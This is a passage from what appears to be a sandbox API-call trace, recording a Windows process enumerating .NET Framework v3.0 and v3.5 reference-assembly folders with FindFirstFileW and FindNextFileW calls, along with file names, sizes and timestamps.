ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x46d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0237.284] GetProcessHeap () returned 0xc10000 [0237.284] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0237.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0237.475] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.475] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0237.485] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0237.497] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0237.497] GetProcessHeap () returned 0xc10000 [0237.497] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9090f3d9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6e7cd0e4, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6e7f3397, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9089cc9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67be8f4c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x67c0f17b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521498dc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521498dc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x57800, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908e9169, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a50a3f9, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a55675f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0237.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908c2efe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1769df, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a2819c4, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x516000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52313584, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x52313584, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xba7cec00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522c70c1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522c70c1, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0237.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0237.509] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0237.509] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0237.509] GetProcessHeap () returned 0xc10000 [0237.509] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0237.509] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0237.509] GetProcessHeap () returned 0xc10000 [0237.509] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0237.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0237.516] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.519] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0237.519] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0237.519] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0237.520] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0237.520] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ec103c, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ec103c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0237.520] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0237.520] GetProcessHeap () returned 0xc10000 [0237.520] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0237.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0237.520] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.521] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e74b83, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e74b83, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0237.521] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e74b83, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e74b83, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0237.521] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0237.521] GetProcessHeap () returned 0xc10000 [0237.521] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0237.521] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0237.522] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: 